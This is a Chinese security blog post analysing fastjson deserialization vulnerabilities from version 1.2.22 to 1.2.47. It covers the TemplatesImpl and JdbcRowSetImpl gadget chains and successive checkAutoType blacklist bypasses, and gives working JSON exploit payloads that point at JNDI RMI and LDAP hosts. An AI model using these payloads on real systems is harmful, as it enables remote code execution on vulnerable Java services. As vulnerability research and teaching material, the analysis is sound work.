fastjson反序列化漏洞分析


fastjson基础知识

构建一个Student类进行序列化与反序列化的认识。

public class Student {
    public String name;
    private int number;
    private Properties properties;
    public Student(){
        System.out.println("无参构造函数!!!!!");
    }
    public Student(String name,int number,Properties properties){
        this.name=name;
        this.number=number;
        this.properties=properties;
        System.out.println("有参构造函数!!!!!");
    }

    public String getName() {
        System.out.println("public属性,getName()方法");
        return name;
    }

    public void setName(String name) {
        System.out.println("public属性,setName()方法");
        this.name = name;
    }

    public int getNumber(){
        System.out.println("private属性,getNumber()方法");
        return number;
    }

    public Properties getProperties(){
        System.out.println("private属性,getProperties()方法");
        return properties;
    }
}

序列化

使用JSON.toJSONString()将对象序列化为json格式的字符串,此方法序列化时需要设置一个SerializerFeature.WriteClassName属性值才会输出带@type类名的字符串。且在进行对象序列化时会执行所有的getter方法。

反序列化

使用json.parse()方法将带@type指定类名的json字符串反序列为指定类对象时,无需额外指定类名;

使用json.parseObject()方法进行反序列化时,若指定类则返回对应的对象,不指定类则返回JSONObject类。

当json.parseObject()方法不指定类时,会先执行parse()后多执行了一个类型转化JSON.toJSON(obj)方法,即将反序列化后的对象转化为JSONObject类。

分别执行parseObject和parse方法对比一下就一目了然。parseObject多调用了一部分方法即getter方法。

当json.parseObject()方法指定类时,输出结果和json.parse()方法一致。

若反序列化时需要把private属性也还原出来则需要加入Feature.SupportNonPublicField 参数值。若不加此参数,虽然不能把private属性还原出来,但是也会调用相应的getter方法。

由于此处的getProperties()方法的返回类型为Properties类,此类继承了Hashtable类,Hashtable类又继承了Map类,所以此处反序列化时也调用此getter方法。

fastjson反序列化总结

反序列化调用的setter方法需要满足:

  • 非静态函数
  • 返回类型为void或当前类
  • 参数个数为1个

反序列化调用的getter方法需要满足:

  • 非静态函数
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或Atomiclnteget或AtomicLong

FastJson各版本反序列化漏洞

1.2.22<=fastjson<=1.2.24

TemplatesImpl利用链

限制

需要设置Feature.SupportNonPublicField进行反序列化操作才能成功触发利用

入口函数为getOutputProperties(),此方法满足fastjson反序列化时自动调用的getter方法。

会先进入newTransformer()方法。

然后会进入到getTransletInstance()。

最后会来到CC3链的利用。

要想执行到defineTransletClasses()方法,_name不能为null, _class必须为null,因为 _class本身就为null,所以可以不用管。

接着来到defineTransletClasses()。

若想执行到loader.defineClass方法,则_tfactory不能为null否则会提前报错退出程序, _bytecodes即为恶意类的字节码。

经调试,还需要_outputProperties也不为空,因为入口getOutputProperties()方法即为 _outputProperties属性的getter方法。

此外还需要注意,传入的恶意类字节码需要经过base64编码并且恶意类需要继承AbstractTranslet类,因为Fastjson提取byte[]数组字段值时会进行Base64解码

最终利用链

getOutputProperties()--->newTransformer()--->TransformerImpl()--->getTransletInstance()-->defineTransletClasses()-->defineClass()

EXP

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":"恶意类字节码","_name":"red6380","_tfactory":{ },"_outputProperties":{ }}

JdbcRowSetImpl利用链

限制:

由于是利用JNDI注入漏洞来触发的,因此主要的限制因素是JDK版本。

基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191。

入口方法为setAutoCommit()。此方法满足fastjson反序列化时自动调用的setter方法。

this.conn在类的无参构造函数时赋值为null,所以会进入到this.connect()方法中。

很明显,此处为JNDI注入的入口点,只需要this.getDataSourceName()可控即可。

setDataSourceName()方法即为设置getDataSourceName()值,此方法为dataSourceName属性的setter方法,同样满足fastjson反序列时自动调用的setter方法。

EXP

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1089/Evi","autoCommit":true}

1.2.25<=Fastjson<=1.2.41绕过

checkAutoType()

1.2.25及之后版本多了一个checkAutoType方法来防护反序列化漏洞,其原理是通过黑名单的方式将可能造成反序列化漏洞的类禁止其反序列化对象。

简单地说,checkAutoType()函数就是使用黑白名单的方式对反序列化的类型过滤,acceptList为白名单(默认为空,可手动添加),denyList为黑名单(默认不为空)。

默认情况下,autoTypeSupport为False,即先进行黑名单过滤,遍历denyList,如果引入的库以denyList中某个deny开头,就会抛出异常,中断运行。

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        if (typeName == null) {
            return null;
        } else {
            String className = typeName.replace('$', '.');
            if (this.autoTypeSupport || expectClass != null) {
                int i;
                String deny;
                for(i = 0; i < this.acceptList.length; ++i) {
                    deny = this.acceptList[i];
                    if (className.startsWith(deny)) {
                        return TypeUtils.loadClass(typeName, this.defaultClassLoader);
                    }
                }

                for(i = 0; i < this.denyList.length; ++i) {
                    deny = this.denyList[i];
                    if (className.startsWith(deny)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
            }

            Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
            if (clazz == null) {
                clazz = this.deserializers.findClass(typeName);
            }

            if (clazz != null) {
                if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                } else {
                    return clazz;
                }
            } else {
                if (!this.autoTypeSupport) {
                    String accept;
                    int i;
                    for(i = 0; i < this.denyList.length; ++i) {
                        accept = this.denyList[i];
                        if (className.startsWith(accept)) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }
                    }

                    for(i = 0; i < this.acceptList.length; ++i) {
                        accept = this.acceptList[i];
                        if (className.startsWith(accept)) {
                            clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                            if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                            }

                            return clazz;
                        }
                    }
                }

                if (this.autoTypeSupport || expectClass != null) {
                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                }

                if (clazz != null) {
                    if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }

                    if (expectClass != null) {
                        if (expectClass.isAssignableFrom(clazz)) {
                            return clazz;
                        }

                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
                }

                if (!this.autoTypeSupport) {
                    throw new JSONException("autoType is not support. " + typeName);
                } else {
                    return clazz;
                }
            }
        }
    }

autoTypeSupport

autoTypeSupport是checkAutoType()函数出现后ParserConfig.java中新增的一个配置选项,在checkAutoType()函数的某些代码逻辑起到开关的作用。

默认情况下autoTypeSupport为False,将其设置为True有两种方法:

  • JVM启动参数:-Dfastjson.parser.autoTypeSupport=true
  • 代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);

AutoType白名单设置方法:

  1. JVM启动参数:-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
  2. 代码中设置:ParserConfig.getGlobalInstance().addAccept("com.xx.a");
  3. 通过fastjson.properties文件配置。在1.2.25/1.2.26版本支持通过类路径的fastjson.properties文件来配置,配置方式如下:fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.

绕过

前提条件:需要autoTypeSupport开启。

EXP

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://127.0.0.1:1089/Evi","autoCommit":true}

分析:

一路调试来到checkAutoType方法,会先进行白名单校验后进行黑名单校验,由于Lcom.sun.rowset.JdbcRowSetImpl;类并不在黑名单中,所以会来到TypeUtils.loadClass()方法中,此后面和之前的流程一样了。

漏洞点就在于此处会对以L开头和;结尾的类进行处理,即去掉L和;后再执行loadClass()方法,此方法后面的流程和前面版本的流程一致,所以可以产生漏洞。

1.2.25<=Fastjson<=1.2.42绕过

从1.2.42版本开始,Fastjson把原本明文形式的黑名单改成了哈希过的黑名单,目的就是为了防止安全研究者对其进行研究,提高漏洞利用门槛,但是有人已在Github上跑出了大部分黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist

EXP

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://127.0.0.1:1089/Evi","autoCommit":true}

此处多了一部分校验类是否以L开头以;结尾,若是则除去L和;(写个过滤也用hash异或,搞这么复杂!!!)。后面的执行流程和前面一样,所以可以使用双写L和;进行绕过。

1.2.25<=Fastjson<=1.2.43绕过

EXP

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"rmi://127.0.0.1:1089/Evi","autoCommit":true}

上一个版本的修复,此处如果类名以LL开头则直接报错退出程序。

接着来到TypeUtils.loadClass()方法。此如果类名以[开头则提取其中的类名,并调用Array.newInstance().getClass()来获取并返回类

此处返回的类名是[com.sun.rowset.JdbcRowSetImpl,会通过checkAutoType()函数的检测,后面会来到反序列化部分。

在反序列化中,调用了DefaultJSONParser.parseArray()函数来解析数组内容,其中会有一些if判断语句校验后面的字符内容是否为”[“、”{“等。满足这些条件后得到最终的payload。

1.2.25<=Fastjson<=1.2.45绕过

前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。

EXP

{
	"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
	"properties":
	{
		"data_source":"ldap://localhost:1389/Exploit"
	}
}

此处主要是绕过黑名单,因为黑名单中不包括org.apache.ibatis.datasource.jndi.JndiDataSourceFactory类

1.2.46版本修复则是直接把此类加入黑名单中。

version hash hex-hash name
1.2.46 -8083514888460375884 0x8fd1960988bce8b4L org.apache.ibatis.datasource

此处对上一个版本的修复则是,当类以[开头则直接报错退出程序。

直接查看org.apache.ibatis.datasource.jndi.JndiDataSourceFactory类的setProperties()方法。

此处满足fastjson反序列化时自动调用的setter方法。方法中明显是jndi注入的入口。

其中参数由我们输入的properties属性中的data_source值获取的。

之后就是由JNDI注入漏洞成功触发Fastjson反序列化漏洞了。

1.2.25<=Fastjson<=1.2.47绕过

绕过的大体思路是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测。因此将payload分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkAutoType()就会抛出异常终止程序。

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;

EXP

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://localhost:1389/Exploit",
        "autoCommit":true
    }
}
  • 不受AutoTypeSupport影响版本(1.2.33-1.2.47)

在第一次解析中,进入checkAutoType()函数后,由于未开启AutoTypeSupport,因此不会进入黑白名单校验的逻辑;来到TypeUtils.getClassFromMapping方法中。

TypeUtils.getClassFromMapping方法是在mappings中找键为className的值,此处mapping中并没有java.lang.class,所以此处返回Null。

接着会来到this.deserializers.findClass方法中。

findClass中逻辑是,在buckets中寻找keyString键的值,如果找到则返回类对象,此处java.lang.class类在此表中,所以会返回此类对象。

继续往下走,可知此处返回 java.lang.class类对象,所以第一次checkAutoType通过且返回Class类对象。

一路调试来到eserializer.deserialze方法中。直到此处,if判断语句中需要值为val,且将val中的值赋给objVal,后面会将objVal以String形式赋值给strVal。

最后会来到TypeUtils.loadClass中加载com.sun.rowset.JdbcRowSetImpl类。

跟踪TypeUtils.loadClass方法会来到此处,默认是开启缓存的,所以此处会将com.sun.rowset.JdbcRowSetImpl类加载到mappings中,

这样第二次执行@type为com.sun.rowset.JdbcRowSetImpl时则会绕过checkAutoType达到漏洞效果。第二次执行流程类似就不详细讲了。

  • 受AutoTypeSupport影响版本(1.2.25-1.2.32)

关键点在于,高版本的if判断多了一个&&TypeUtils.getClassFromMapping(typeName) == null,所以低版本的反而开启autotypesupport则无法进行利用。

参考链接: [https://www.mi1k7ea.com/2019/11/07/Fastjson%E7%B3%BB%E5%88%97%E4%BA%8C%E2%80%94%E2%80%941-2-22-1-2-24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#%E5%A6%82%E4%BD%95%E5%85%B3%E8%81%94-outputProperties%E4%B8%8EgetOutputProperties-%E6%96%B9%E6%B3%95]


文章作者: Red6380
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Red6380 !
评论
  目录